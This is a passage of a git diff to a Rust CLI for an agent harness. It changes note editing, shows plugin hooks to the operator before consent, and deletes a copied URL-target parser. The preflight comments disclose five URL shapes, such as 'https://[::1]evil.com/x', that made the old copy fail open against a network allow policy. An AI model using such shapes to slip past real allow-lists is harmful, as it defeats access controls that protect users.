about whether +/// the file is there is a second thing that has to be kept in agreement. +/// +/// **Only bullets are notes.** The header this module writes, the blank lines +/// around it and whatever else a person put in the file are not offered: a +/// surface that let an operator "edit" the file's own heading would be a text +/// editor, and this is a list of instructions. [`Instruction::lines`] still +/// counts every line, and the two numbers are allowed to differ because they +/// answer different questions. +#[must_use] +pub fn notes(root: &Path, scope: Scope) -> Vec { + let Some(path) = path(root, scope) else { + return Vec::new(); + }; + let Ok(text) = std::fs::read_to_string(&path) else { + return Vec::new(); + }; + + let lines = spans(&text); + // A line that is neither blank nor a bullet of its own belongs to the bullet + // above it — markdown's lazy continuation, and the shape `import` writes. + let continues = |span: &std::ops::Range| { + let body = content(&text, span); + let line = &text[body.start..body.end]; + !line.trim().is_empty() && bullet(line).is_none() + }; + + lines + .iter() + .enumerate() + .filter_map(|(line, span)| { + let body = content(&text, span); + let from = bullet(&text[body.start..body.end])?; + Some(Note { + scope, + text: text[body.start + from..body.end].to_string(), + line, + carries: lines + .iter() + .skip(line + 1) + .take_while(|s| continues(s)) + .count(), + }) + }) + .collect() +} + +/// Replace one note's text, leaving every other byte of the file alone. +/// +/// The indent, the marker and the line ending are the file's own bytes and are +/// not touched: a note somebody wrote as ` * check the lockfile` stays indented +/// and stays a `*`, because this module is editing an instruction and not +/// reformatting a document it did not write. +/// +/// Refuses a replacement that is empty or nothing but whitespace, for the reason +/// [`remember`] refuses one: a note quietly blanked reports success and leaves the +/// operator with a bullet that says nothing. Refuses one holding a line break +/// too — a note is a line, and a replacement that split it in two would put a line +/// in the file that [`notes`] cannot address. +pub fn amend(root: &Path, note: &Note, line: &str) -> Result { + let text = line.trim(); + if text.is_empty() { + return Err("there is nothing to remember".to_string()); + } + if text.contains('\n') { + return Err("a note is one line, and that one holds a line break".to_string()); + } + splice(root, note, Some(text)) +} + +/// Remove one note's line entirely, leaving every other byte of the file alone. +/// +/// The line and its terminator go together, so the bullet above it does not +/// acquire a blank line and the file does not grow one. Everything else — the +/// header, the prose, every sibling bullet — is the bytes that were there. +pub fn forget(root: &Path, note: &Note) -> Result { + splice(root, note, None) +} + +/// The one write both verbs go through: replace one byte range, keep the rest. +/// +/// `Some(text)` replaces the note's own text and keeps its line; `None` takes the +/// line and its terminator away. +/// +/// **The file is spliced, never rebuilt.** Reading it into lines, changing one and +/// writing them back joined is the obvious implementation, and it silently +/// normalises four things this crate has no business normalising: a `\r\n` +/// checkout, a last line with no newline after it, an indent, and a `*` written +/// where this module writes `-`. Two of those change what io-harness reads at the +/// start of every run, and none of them would show up as an error. +/// +/// Refuses when the line has moved. See [`Note`]: the address is only as good as +/// the read it came from, and the file is one a person and another agent are both +/// entitled to be editing. +fn splice(root: &Path, note: &Note, replacement: Option<&str>) -> Result { + let path = path(root, note.scope) + .ok_or_else(|| "there is no path for that scope on this machine".to_string())?; + // ponytail: the whole file, for the same reason `remember` reads the whole + // file to look at its last byte — these are guidance files a person maintains + // by hand, and they are kilobytes. Read once and written once, so nothing + // here can half-write a file. + let mut text = + std::fs::read_to_string(&path).map_err(|error| format!("{}: {error}", path.display()))?; + + // Built up front rather than in three closures, so the sentence an operator + // reads is one sentence and not three that drifted apart. + let stale = format!( + "{} line {} no longer says `{}`, so nothing was written — it has been edited since \ + the page was drawn", + path.display(), + note.numbered(), + note.text, + ); + + let span = spans(&text) + .get(note.line) + .cloned() + .ok_or_else(|| stale.clone())?; + let body = content(&text, &span); + let from = body.start + bullet(&text[body.start..body.end]).ok_or_else(|| stale.clone())?; + if text[from..body.end] != *note.text { + return Err(stale); + } + + match replacement { + Some(line) => text.replace_range(from..body.end, line), + None => text.replace_range(span, ""), + } + std::fs::write(&path, text).map_err(|error| format!("{}: {error}", path.display()))?; + Ok(path) +} + +/// Every line of `text` as a byte range **including its terminator**. +/// +/// `split_inclusive` rather than `lines`, because the terminator is exactly the +/// byte a splice must not invent or drop. It also counts the way `lines` counts — +/// a file ending in one newline has one line, not two — so a [`Note`]'s line +/// number and [`Instruction::lines`] are numbers in the same system. +fn spans(text: &str) -> Vec> { + let mut at = 0; + text.split_inclusive('\n') + .map(|line| { + let span = at..at + line.len(); + at = span.end; + span + }) + .collect() +} + +/// One line's range with its terminator taken off, whichever of the two it is. +/// +/// `\r\n` and `\n` both, and neither invented: a file that had no newline on its +/// last line still has none afterwards, which is the fixture the splice rule +/// exists for. +fn content(text: &str, span: &std::ops::Range) -> std::ops::Range { + let mut end = span.end; + if text[span.start..end].ends_with('\n') { + end -= 1; + if text[span.start..end].ends_with('\r') { + end -= 1; + } + } + span.start..end +} + +/// Where a markdown bullet's own text starts, if the line is a bullet at all. +/// +/// `-`, `*` or `+` after any indent, then whitespace or the end of the line — +/// which is markdown's own rule and is what keeps `---` and a word like +/// `-Werror` out of the list. The three markers rather than the one this module +/// writes, because the operator's file is the operator's: a list they wrote with +/// `*` is a list, and offering them only the bullets io wrote would be a surface +/// that hides half the file it is claiming to show. +/// +/// ponytail: no block state, so a `- like this` inside a fenced code block reads +/// as a bullet. It is offered for editing and edits correctly; it is only listed +/// where it should not be. Track the fences if an operator's file ever turns up +/// in a bug report over it. +fn bullet(line: &str) -> Option { + let space = |c: char| c == ' ' || c == '\t'; + let body = line.trim_start_matches(space); + let indent = line.len() - body.len(); + let after = body.strip_prefix(['-', '*', '+'])?; + if !after.is_empty() && !after.starts_with(space) { + return None; + } + Some(indent + 1 + (after.len() - after.trim_start_matches(space).len())) +} + // --------------------------------------------------------------------------- // Making io-harness read all three // --------------------------------------------------------------------------- /// The order the three files are named in, and it is the order they reach the /// model in: `read_instructions` pushes one constraint per name in list order -/// (`io-harness-0.69.0/src/config.rs:1884-1899`). +/// (`read_instructions`, `io-harness-0.71.0/src/config.rs:2111`). /// /// Project, then local, then user — widest audience first, so the operator's own /// standing note is the last thing said. It also matches the order the three diff --git a/src/pluginview.rs b/src/pluginview.rs index a93c0ec..e5d3f21 100644 --- a/src/pluginview.rs +++ b/src/pluginview.rs @@ -61,26 +61,27 @@ //! [`Listed::enabled`] so a switched-off bundle's skills are not offered to a //! model that cannot reach them. //! -//! # Hooks cannot be listed *from here*, and this file says so on screen +//! # Hooks are listed here now, and io-harness is what names them //! -//! There is no `Plugin::hooks()` and `Hook` is `pub(crate)` (filed upstream as -//! io-harness#223). A bundle's hooks are applied — [`io_harness::Plugins::apply_to_hooks`] -//! installs them — and there is no accessor by which this module can name one, -//! count them, or say what any of them runs. The string `"hooks"` from -//! [`io_harness::Plugin::contributions`] is the entire honest signal off the typed -//! API, and [`detail`] draws exactly that when it is handed nothing better: a row -//! saying hooks were declared and that io-cli cannot say what they do. **The -//! alternative was to omit the row**, which reads as a bundle with no hooks — the -//! one reading that is actually false, on the contribution kind that runs -//! programs. +//! io-harness 0.71.0 publishes [`io_harness::Plugin::hooks`] and makes +//! [`io_harness::Hook`] public with an accessor for every key it carries, so the +//! contribution kind that **runs programs** is no longer the one kind this surface +//! could only say the word `hooks` about. Every hook row is built in +//! [`copy_out`] out of those accessors and drawn by [`detail`], and there is no +//! longer any branch that says io-cli cannot say what a hook runs — because it +//! can. //! -//! **A caller that has read the manifest may hand [`detail`] the pairs**, and the -//! marketplace disclosure does exactly that: consenting to a stranger's bundle on -//! the word `hooks` is consenting to programs nobody named. The reading is -//! [`crate::marketplace::hooks`]' and never this module's — see the section below -//! — and it is display only: what is installed, and whether it may be, stays -//! io-harness's parse and io-harness's trust rule. Both branches go when #223 -//! lands. +//! **This module still opens no `plugin.toml`.** The hooks arrive the same way the +//! agents, the servers and the layers always have: off a [`io_harness::Plugin`] +//! io-harness read itself. That is the whole reason the reading moved rather than +//! being duplicated — io-cli's own reader (deleted in 0.30.0) could not see an +//! inline `hook = [{…}]` array or a `[[hook]]` header carrying a trailing comment, +//! and drew a bundle with hooks as a bundle with none, which is the one reading +//! that is false on the contribution kind that spawns. +//! +//! `Hook::on_failure` is read rather than the raw key, because a table that wrote +//! no `on_failure` still has one and it is its kind's — `refuse` for a lifecycle +//! hook, `continue` for an event hook. Nothing here re-derives that rule. //! //! # The names drawn here are already namespaced, and that is the point //! @@ -178,8 +179,6 @@ pub struct Listed { pub root: PathBuf, /// Which kinds of contribution it declared, in io-harness's own fixed order: /// skills, templates, agents, mcp, hooks, policy. - /// - /// **This is the only place `hooks` can come from.** See the module docs. pub contributions: Vec<&'static str>, /// The skills directory it contributes, absolute, if it declared one. pub skills: Option, @@ -189,6 +188,14 @@ pub struct Listed { pub agents: Vec, /// The MCP server ids it contributes, already namespaced. pub servers: Vec, + /// The hooks it contributes, one `(event, command)` pair each, in the + /// manifest's own declaration order. + /// + /// **Built out of [`io_harness::Hook`]'s accessors and never out of a + /// manifest** — see the module docs. Not namespaced, and nothing io-harness + /// namespaces: a `[[hook]]` contributes no name, it names events, a path and + /// an argv, and all three belong to the operator's tree. + pub hooks: Vec<(String, String)>, /// The policy layer names it contributes, already namespaced. Deny rules /// only — io-harness drops a bundle whose layer carries anything else. pub layers: Vec, @@ -262,7 +269,13 @@ impl View { /// as `Declaration::enabled`, which is `pub(crate)`, and the *only* public signal /// of it is which of `Plugins::iter` and `Plugins::disabled` a bundle came back /// on. So the bucket is the fact, and [`view`] is the one place it is recorded. -fn copy_out(plugin: &io_harness::Plugin, enabled: bool) -> Listed { +/// +/// **Public since 0.30.0, because a bundle nobody has declared has no bucket at +/// all.** [`io_harness::Plugins::inspect`] hands back a `Plugin` for a directory +/// that is in no configuration file, and that is what a marketplace install +/// discloses from — see [`crate::marketplace::disclosure`]. It passes `true`: +/// nothing has been written yet, so nothing has been switched off. +pub fn copy_out(plugin: &io_harness::Plugin, enabled: bool) -> Listed { Listed { id: plugin.id().to_string(), enabled, @@ -278,6 +291,7 @@ fn copy_out(plugin: &io_harness::Plugin, enabled: bool) -> Listed { .iter() .map(|server| server.id.clone()) .collect(), + hooks: plugin.hooks().iter().map(hook_line).collect(), layers: plugin .policy_layers() .iter() @@ -286,6 +300,58 @@ fn copy_out(plugin: &io_harness::Plugin, enabled: bool) -> Listed { } } +/// One [`io_harness::Hook`] as the two fields a reader needs: when it fires, and +/// what it then does. +/// +/// **Every field comes off an accessor**, which is the whole of criterion F16: the +/// manifest is io-harness's to read, and io-cli's own reader could not see an +/// inline `hook = [{…}]` array or a `[[hook]]` header with a trailing comment on +/// it. Both are ordinary TOML, io-harness accepts both, and both used to draw as no +/// hook at all. +/// +/// `on = []` is **every** event and is said so: io-harness documents an empty `on` +/// as firing on all of them, so the hook that runs most often was the one drawn as +/// the two least alarming characters on the screen where consent happens. +/// +/// `on_failure` is named only where it stops something — [`io_harness::OnFailure`] +/// resolves a table that wrote nothing to its kind's own default, and a row saying +/// `continue` on every event hook is a column of noise over the one word that +/// matters. `cancel` ends the run and `refuse` stops the call, and neither is +/// something to learn afterwards. +/// +/// **Both values go through `marketplace::plain` and neither is +/// shortened.** An argv element is a TOML string and TOML permits a raw newline +/// inside a `"""`, so a stranger's manifest could otherwise put forged extra lines +/// into the scrollback an operator is reading to decide. The length is not bounded, +/// because this is argv somebody is consenting to and a shortened argv is worse +/// than no argv at all. +fn hook_line(hook: &io_harness::Hook) -> (String, String) { + let mut event = match hook.at() { + Some(at) if hook.tools().is_empty() => at.to_string(), + Some(at) => format!("{at} on {}", hook.tools().join(", ")), + None if hook.on().is_empty() => "every event".to_string(), + None => hook.on().join(", "), + }; + match hook.on_failure() { + io_harness::OnFailure::Cancel => event.push_str(", cancels the run if it fails"), + io_harness::OnFailure::Refuse => event.push_str(", refuses the call if it fails"), + _ => {} + } + let command = match (hook.run(), hook.append()) { + (Some(argv), _) => format!("[{}]", argv.join(" ")), + (None, Some(file)) => format!("appends to {}", file.display()), + // Unreachable through `Plugins::inspect` and `Config::plugins` alike — + // io-harness's `Hooks::check` refuses a table with neither — and said + // rather than skipped, because a hook drawn as a blank row is the silence + // this whole surface exists to end. + (None, None) => "declares neither `run` nor `append`".to_string(), + }; + ( + crate::marketplace::plain(&event), + crate::marketplace::plain(&command), + ) +} + /// Every bundle this configuration declared: loaded, switched off, and refused. /// /// **All three of io-harness's buckets, and the third one is why this function @@ -472,25 +538,14 @@ pub fn rows(view: &View, width: u16, glyphs: &Glyphs) -> Vec { /// the *directory* and false about the *session*, and the row above them is what /// makes the pane say which. See [`Listed::enabled`]. /// -/// # `hooks` is the one group this module cannot read for itself +/// # `hooks` is a group like any other now /// -/// Every other group above comes off a [`io_harness::Plugin`] accessor. There is -/// none for hooks — `Hook` is `pub(crate)` and `contributions()` reports only that -/// they exist (io-harness#223) — and this module opens no `plugin.toml`, so the -/// pairs are an argument: `(event, command)` in the manifest's own order, read by -/// [`crate::marketplace::hooks`], which is the one file in this crate whose job is -/// reading somebody else's manifest. -/// -/// **An empty slice keeps the honest placeholder** rather than drawing no group. -/// A caller that has not read the manifest knows only that hooks were declared, -/// and a bundle drawn with no hooks group reads as a bundle with no hooks — the -/// one reading that is false, on the contribution kind that runs programs. -pub fn detail( - plugin: &Listed, - width: u16, - glyphs: &Glyphs, - hooks: &[(String, String)], -) -> Vec { +/// It comes off [`io_harness::Plugin::hooks`] through [`copy_out`], exactly as the +/// agents and the servers do, so there is no argument to pass and no caller that +/// can be handed a bundle's hooks and forget to. The placeholder row that said +/// io-cli could not name a hook is gone with the gap it described — see the module +/// docs. +pub fn detail(plugin: &Listed, width: u16, glyphs: &Glyphs) -> Vec { // The picker's own arithmetic again: marker and gap, with no detail column to // budget for on the rows that are a path. let room = (width as usize).saturating_sub(4); @@ -512,14 +567,13 @@ pub fn detail( out.push(Row::heading("mcp servers")); out.extend(plugin.servers.iter().map(|id| Row::new(id.clone()))); } - if !hooks.is_empty() { + if !plugin.hooks.is_empty() { // **One row per hook, naming the event and the command.** A bundle's hooks // are the contribution that runs programs, and "hooks" is the one word on // this pane that tells an operator nothing about what they are consenting - // to. The pairs were read out of the manifest by the caller — see this - // function's own docs and io-harness#223. + // to. Every field is io-harness's — see `hook_line`. out.push(Row::heading("hooks")); - out.extend(hooks.iter().map(|(event, command)| { + out.extend(plugin.hooks.iter().map(|(event, command)| { Row::with_detail( event.clone(), fit( @@ -529,26 +583,6 @@ pub fn detail( ), ) })); - } else if plugin.contributions.contains(&"hooks") { - out.push(Row::heading("hooks")); - // **The whole of what io-cli knows, stated as the whole of what it - // knows.** There is no accessor and `Hook` is `pub(crate)`, so the count, - // the events and the argv are all unreachable — and a bundle's hooks are - // the contribution that runs programs. Omitting the group would read as a - // bundle with no hooks, which is the one reading that is false. - out.push(Row::with_detail( - "declared", - fit( - // No dash and no other mark that would need a glyph set: this is a - // rendered string, and the one class of mark in it — the - // separator between the two clauses — is a semicolon in every - // terminal there is. - "io-harness does not expose a bundle's hooks, so io-cli cannot say what they run; \ - read the bundle's plugin.toml", - room.saturating_sub("declared".chars().count() + 2), - glyphs, - ), - )); } if !plugin.layers.is_empty() { out.push(Row::heading("policy layers, deny only")); @@ -616,38 +650,24 @@ pub const OLDER_BINARY: &str = io-cli built against 0.69.0 refuses the whole configuration file rather than ignoring the \ key"; -/// The edit that declares a bundle **switched off**. -/// -/// [`add`]'s entry with one more line, and the two are kept apart rather than -/// folded into a flag because they answer two different questions. `add` is what -/// `/plugin add ./bundles/x` writes: the operator named a directory they have, -/// and a bundle declared off would be a surface second-guessing them. This is what -/// a **marketplace** install writes, and the `enabled = false` is the whole of the -/// disclosure mechanism: io-harness publishes no loader that takes a directory — -/// `load_one` is private and `Plugins::load` is `pub(crate)` — so the only way to -/// have it read, parse, validate and trust-check a stranger's bundle is to declare -/// it, and the only way to declare it without running it is this key. The bundle -/// then arrives on [`io_harness::Plugins::disabled`], contributing nothing, with -/// every accessor valid; consent is [`enable`]. -/// -/// **An appended entry carries as many keys as it is given.** -/// [`crate::edit::Edit::append`] writes `[[plugin]]` and then the body verbatim, -/// so the second line needs no second edit and no second write — which matters, -/// because a bundle that was declared on and switched off afterwards would have -/// been loadable for the width of one round trip. -/// -/// Says [`OLDER_BINARY`] to the operator at the moment of writing. That sentence -/// is a constant rather than a line at the call site so the two doors cannot word -/// it differently and a test can name it. -pub fn add_off(dir: &Path) -> crate::edit::Edit { - crate::edit::Edit::append( - "plugin", - format!( - "path = {}\nenabled = false", - quoted(&dir.display().to_string()) - ), - ) -} +// **`add_off` and `declared_off` were deleted in 0.30.0.** +// +// Through 0.29.0 a marketplace install wrote `[[plugin]] enabled = false` and +// then read the entry back, because io-harness published no loader that took a +// directory: the only way to have a stranger's bundle read, parsed, validated +// and trust-checked was to *declare* it, and the only way to declare it without +// running it was that key. `add_off` wrote it and `declared_off` recovered which +// entry had just been written. +// +// `io_harness::Plugins::inspect` (0.71.0, io-harness#224) validates a directory +// with nothing on disk naming it, so the install validates first and writes once, +// on consent, through [`add`] — and both functions lost their only callers in the +// same change. They are deleted rather than left `pub`, because a public function +// no keystroke reaches is the defect shape this product has shipped six times, and +// this release closed five of them. +// +// `tests/marketplace.rs` still asserts that `src/manage.rs` names no `add_off`; +// it now asserts the stronger thing, that nothing does. /// The edit that switches the `index`-th declared bundle on. /// @@ -666,39 +686,29 @@ pub fn enable(index: usize) -> crate::edit::Edit { crate::edit::Edit::set(format!("plugin[{index}].enabled"), "true") } -/// The last `[[plugin]]` entry of a configuration file, when it was declared off. +/// The edit that switches the `index`-th declared bundle **off**. /// -/// **The evidence of what was just written, rather than a second reading of what -/// was meant.** [`crate::edit::Edit::append`] puts a new entry at the end of the -/// document, so the highest index in the file is the entry the write that just -/// returned created — and whether it carries `enabled = false` is what separates a -/// marketplace install, which owes a disclosure, from an ordinary -/// `/plugin add ./bundles/x`, which does not. Asking the file means the driver -/// re-decides nothing: `marketplace::chosen` made that call once, in -/// `manage::plan`, and this reads the result of it. +/// [`enable`]'s write with the other value, and everything that function says +/// about one key and no other byte holds here word for word. /// -/// `None` for a file with no `[[plugin]]` array, and for a last entry that carries -/// no `enabled` key or carries one that is not `false`. -#[must_use] -pub fn declared_off(text: &str) -> Option<(usize, PathBuf)> { - // Walked until a gap, which is what `value_at` reports by returning `None` — - // an array of tables is contiguous, so the first miss is the end of it. The - // same walk `declared_at` makes, for the same reason. - let mut last = None; - for index in 0.. { - let Some(raw) = crate::edit::value_at(text, &format!("plugin[{index}].path")) else { - break; - }; - // Decoded by the inverse of the function that wrote it, for the reason - // `unquoted` states: the path this hands back is opened to read the - // bundle's hooks, and a path with an escape still in it opens a different - // manifest — or nothing, and the disclosure then fails closed on a generic - // sentence rather than on the real reason. - last = Some((index, PathBuf::from(unquoted(&raw)))); - } - let (index, path) = last?; - let enabled = crate::edit::value_at(text, &format!("plugin[{index}].enabled"))?; - (enabled.trim() == "false").then_some((index, path)) +/// **It is not [`remove`], and the difference is the whole verb.** A removal takes +/// the `[[plugin]]` entry away: the bundle stops being declared, disappears from +/// [`rows`] entirely, and switching it back on means finding the directory again +/// and typing the path. This leaves the entry exactly where it is with one word +/// changed, so the bundle goes on being listed — under [`DISABLED_MARK`], with +/// "switched off" leading its detail — and the way back on is the same keystroke +/// again. An operator who wanted a bundle *gone* has `remove`; one who wanted it +/// *quiet* had nothing until this. +/// +/// Says [`OLDER_BINARY`] to the operator at the moment of writing — and that +/// sentence is the `[[plugin]]` one, which is not +/// [`crate::servers::OLDER_BINARY`]. A 0.69.0 binary refuses this whole file; it +/// ignores the same key in an `[[mcp]]` entry and runs the server. +/// +/// `index` is an index into the file's `[[plugin]]` array, with [`remove`]'s own +/// warning: it is not a row number from [`rows`]. +pub fn disable(index: usize) -> crate::edit::Edit { + crate::edit::Edit::set(format!("plugin[{index}].enabled"), "false") } /// The manifest every bundle has, and the one file this surface can check before @@ -908,8 +918,9 @@ fn quoted(text: &str) -> String { /// The inverse of [`quoted`]: the path back out of the value a file holds. /// -/// **The read half of this module did not exist until 0.29.0.** Both readers — -/// [`declared_at`] and [`declared_off`] — took the value's bytes and stripped the +/// **The read half of this module did not exist until 0.29.0.** Both readers of +/// the day — [`declared_at`], and a `declared_off` deleted in 0.30.0 — took the +/// value's bytes and stripped the /// surrounding quotes with `trim_matches('"')`, which undoes no escape, so every /// path `quoted` had escaped came back doubled. On Windows the doubled separators /// collapse and nothing shows; on Linux a bundle directory named `a\b` or `a"b` — @@ -966,6 +977,7 @@ mod tests { templates: None, agents: vec!["rust-review__reviewer".to_string()], servers: Vec::new(), + hooks: vec![("tool_call".to_string(), "[cargo fmt]".to_string())], layers: vec!["rust-review__no-secrets".to_string()], } } @@ -1121,7 +1133,7 @@ mod tests { let mut off = listed(); off.enabled = false; for glyphs in [&UNICODE, &ASCII] { - let rows = detail(&off, 120, glyphs, &[]); + let rows = detail(&off, 120, glyphs); assert_eq!(rows[0].label, "switched off", "{}", glyphs.name); let said = rows[0] .detail @@ -1142,7 +1154,7 @@ mod tests { // The loaded pane has no such row, so the sentence is never drawn over // a bundle it is not true of. assert!( - detail(&listed(), 120, glyphs, &[]) + detail(&listed(), 120, glyphs) .iter() .all(|row| row.label != "switched off"), "{}", @@ -1222,7 +1234,7 @@ mod tests { #[test] fn the_detail_view_groups_what_a_bundle_contributed() { for glyphs in [&UNICODE, &ASCII] { - let rows = detail(&listed(), 100, glyphs, &[]); + let rows = detail(&listed(), 100, glyphs); let labels: Vec<&str> = rows.iter().map(|row| row.label.as_str()).collect(); assert!(labels.contains(&"skills"), "{}: {labels:?}", glyphs.name); assert!(labels.contains(&"agents"), "{}: {labels:?}", glyphs.name); @@ -1249,28 +1261,39 @@ mod tests { } } + /// A hook is named, never described as unnameable. + /// + /// Sabotage: draw the group off `contributions` again. The row's label is then + /// the word `declared` rather than the event, and its detail is a sentence + /// about io-cli rather than the argv, so both assertions fail. #[test] - fn hooks_are_declared_as_unlistable_rather_than_omitted() { - let rows = detail(&listed(), 120, &UNICODE, &[]); + fn a_hook_is_drawn_as_its_event_and_its_command() { + let rows = detail(&listed(), 120, &UNICODE); let position = rows .iter() .position(|row| row.label == "hooks") .expect("a bundle declaring hooks says so"); assert!(rows[position].heading); - let said = rows[position + 1] - .detail - .clone() - .expect("the hooks row explains itself"); + assert_eq!(rows[position + 1].label, "tool_call"); + assert_eq!( + rows[position + 1].detail.as_deref(), + Some("[cargo fmt]"), + "the argv is what the row is for", + ); assert!( - said.contains("io-harness does not expose"), - "io-cli says what it cannot say: {said}" + !rows.iter().any(|row| row + .detail + .as_deref() + .is_some_and(|said| said.contains("io-harness does not expose"))), + "the placeholder outlived the accessor that replaced it: {rows:?}", ); - // And a bundle with no hooks has no such group, so the sentence above is - // never drawn over a bundle it is not true of. + // A bundle with no hooks draws no group, so the heading is never over an + // empty list. `contributions` is deliberately left saying `hooks`: the + // rows come off the hooks themselves now, and nothing keys on the word. let mut quiet = listed(); - quiet.contributions = vec!["skills"]; - assert!(detail(&quiet, 120, &UNICODE, &[]) + quiet.hooks = Vec::new(); + assert!(detail(&quiet, 120, &UNICODE) .iter() .all(|row| row.label != "hooks")); } @@ -1288,9 +1311,10 @@ mod tests { templates: None, agents: Vec::new(), servers: Vec::new(), + hooks: Vec::new(), layers: Vec::new(), }; - let rows = detail(&plugin, 80, &ASCII, &[]); + let rows = detail(&plugin, 80, &ASCII); assert_eq!(rows.len(), 1); assert_eq!(rows[0].label, "this bundle contributes nothing"); } @@ -1307,37 +1331,28 @@ mod tests { ); } - /// The disclosing declaration carries both keys in one appended entry, so a - /// bundle is never loadable for the width of a round trip, and the consent is - /// a `set` on the entry's own `enabled` key rather than a second entry. + /// An install writes **one** entry, switched on, and the toggle is a `set` on + /// that entry's own key rather than a second entry. + /// + /// The 0.29.0 form of this test asserted a `path = …\nenabled = false` append, + /// because the install had to declare a bundle off in order to have io-harness + /// read it at all. `Plugins::inspect` removed that round trip, so an install is + /// one plain `add` and the `enabled` key appears only when somebody switches a + /// bundle off on purpose. #[test] - fn the_disclosing_edits_declare_off_in_one_entry_and_consent_with_one_key() { + fn an_install_declares_one_entry_and_the_toggle_is_one_key() { assert_eq!( - add_off(Path::new("bundles/rust-review")), - crate::edit::Edit::append("plugin", "path = \"bundles/rust-review\"\nenabled = false") + add(Path::new("bundles/rust-review")), + crate::edit::Edit::append("plugin", "path = \"bundles/rust-review\"") ); assert_eq!( enable(3), crate::edit::Edit::set("plugin[3].enabled", "true") ); - } - - /// `declared_off` answers about the entry `append` just wrote — the last one — - /// and says nothing about a bundle switched off earlier in the file. - #[test] - fn declared_off_reads_the_last_entry_and_only_when_it_is_off() { - let earlier = "[[plugin]]\npath = \"a\"\nenabled = false\n\n\ - [[plugin]]\npath = \"b\"\n"; assert_eq!( - declared_off(earlier), - None, - "a bundle the operator switched off weeks ago was read as the one just \ - written, so an ordinary `plugin add` would disclose somebody else's entry", + disable(3), + crate::edit::Edit::set("plugin[3].enabled", "false") ); - let written = crate::edit::apply(earlier, &[add_off(Path::new("c"))]) - .expect("the disclosing entry applies"); - assert_eq!(declared_off(&written), Some((2, PathBuf::from("c")))); - assert_eq!(declared_off("run.max_steps = 30\n"), None); } #[test] @@ -1377,14 +1392,22 @@ mod tests { } // And through the reader an install actually uses, which is where the - // wrong path becomes a different manifest. - let written = crate::edit::apply("", &[add_off(Path::new(r"plugins/a\b"))]) - .expect("the disclosing entry applies"); + // wrong path becomes a different manifest. `declared_at` rather than the + // deleted `declared_off`: the round trip being asserted is the same one — + // write a path, find that entry again by it — and it is now the only reader + // that makes it. + let written = + crate::edit::apply("", &[add(Path::new(r"plugins/a\b"))]).expect("the entry applies"); assert_eq!( - declared_off(&written), - Some((0, PathBuf::from(r"plugins/a\b"))), + crate::edit::value_at(&written, "plugin[0].path").as_deref(), + Some(quoted(r"plugins/a\b").as_str()), "the entry that was just written cannot be read back: {written}", ); + assert_eq!( + unquoted(&crate::edit::value_at(&written, "plugin[0].path").unwrap_or_default()), + r"plugins/a\b", + "and decoding it does not give back the path it was written from", + ); } #[test] diff --git a/src/preflight.rs b/src/preflight.rs index 32fd640..3d58c7f 100644 --- a/src/preflight.rs +++ b/src/preflight.rs @@ -30,15 +30,25 @@ //! //! # Why this crate computes the answer instead of asking for it //! -//! `authorize_spawn`, `NetGuard` and `net::target` are all `pub(crate)`. There is -//! no embedder-reachable call that answers "would this server start", so the only -//! ways to know are to run a turn and find out, or to ask the same question of the -//! same public [`Policy`] the harness will ask it of. This module does the second: -//! every verdict here comes from `Policy::check`, which *is* `Policy::explain` +//! `authorize_spawn` and `NetGuard` are `pub(crate)`. There is no +//! embedder-reachable call that answers "would this server start", so the only ways +//! to know are to run a turn and find out, or to ask the same question of the same +//! public [`Policy`] the harness will ask it of. This module does the second: every +//! verdict here comes from `Policy::check`, which *is* `Policy::explain` //! (`src/policy.rs:594-596`) and is therefore the same function that enforces. -//! Nothing about permission is decided in this file. What is reproduced here is one -//! string transform — see [`target`] — and that copy is the module's whole risk -//! surface. +//! Nothing about permission is decided in this file. +//! +//! **Nothing is reproduced here either, as of io-harness 0.71.0.** Until then this +//! module carried its own copy of `net::target`, because that function was +//! `pub(crate)`. The copy's own documentation said it could drift silently, and it +//! had: it was byte-for-byte the pre-0.71.0 implementation, which fails open on five +//! URL shapes — `https://user@/x`, `https://[]/x`, `https://[::1]:/x`, +//! `https://[/x`, and worst `https://[::1]evil.com/x`, where the bracket branch +//! takes `[::1]` as the host, discards the real authority, and hands back a target a +//! policy allowing `[::1]` will match. io-harness#221 made the function public and +//! fixed all five; io-cli now calls it. **A permission check must only ever fail +//! closed, and the deleted copy failed open**, which is why the deletion is a +//! security fix rather than a tidy-up. //! //! # It is a disclosure, not a veto //! @@ -77,75 +87,9 @@ //! tighten defaults and a deny is absolute across layers, so a hidden layer cannot //! turn a refusal here into a start there. +use io_harness::net::target; use io_harness::{Act, Effect, McpServer, McpTransport, Policy}; -/// The policy target for `url`: its host and port as `host:port`. -/// -/// **This is a deliberate copy of io-harness's `net::target`** (0.69.0, -/// `src/net.rs:187-219`), which is `pub(crate)` and therefore unreachable from -/// here. It is not a re-derivation of "how to parse a URL" and must never become -/// one: the only correct behaviour is whatever that function does, including the -/// parts a URL library would do differently. -/// -/// **It can drift from its original silently.** Nothing links the two — no trait, -/// no test upstream can fail on this crate's behalf, and a `patch` release of -/// io-harness that tightened the authority split would leave this file compiling, -/// passing, and answering a question the runtime answers differently. A drift that -/// makes this stricter costs a false refusal in a report; a drift that makes it -/// looser makes the preflight lie. That is why `tests/preflight.rs` enumerates the -/// cases — the scheme table, the userinfo drop, both IPv6 spellings, every shape -/// that returns `None` — instead of asserting one happy path. The gate is the -/// enumeration; a single `https://example.com` assertion would pass against almost -/// any URL parser ever written and prove nothing about this one. -/// -/// The rules, as upstream states and implements them: -/// -/// * split once on `://`; no `://` at all is `None`. -/// * the authority ends at the first `/`, `?` or `#`, and an empty authority is -/// `None`. -/// * userinfo before an `@` is dropped — credentials are not part of the host. -/// * the port is filled from the scheme when the URL omits it: `https`/`wss` → 443, -/// `http`/`ws` → 80. **Any other scheme is `None`**, because it never opens a -/// connection the net act governs. -/// * an IPv6 literal keeps its brackets (`[::1]` → `[::1]:443`), which is what makes -/// the trailing `:port` split unambiguous. -/// -/// A `None` is not permission to proceed. See [`check`], which turns it into a -/// refusal for the same reason `NetGuard::check` does. -pub fn target(url: &str) -> Option { - let (scheme, rest) = url.split_once("://")?; - // Authority ends at the first '/', '?', or '#'. - let authority = rest - .split(['/', '?', '#']) - .next() - .filter(|a| !a.is_empty())?; - // Drop any userinfo; credentials are not part of the host. - let hostport = authority.rsplit_once('@').map_or(authority, |(_, h)| h); - - let default_port = match scheme.to_ascii_lowercase().as_str() { - "https" | "wss" => "443", - "http" | "ws" => "80", - _ => return None, - }; - - if let Some(close) = hostport.strip_prefix('[').and_then(|_| hostport.find(']')) { - // IPv6 literal: [::1] or [::1]:8080 - let host = &hostport[..=close]; - return match hostport[close + 1..].strip_prefix(':') { - 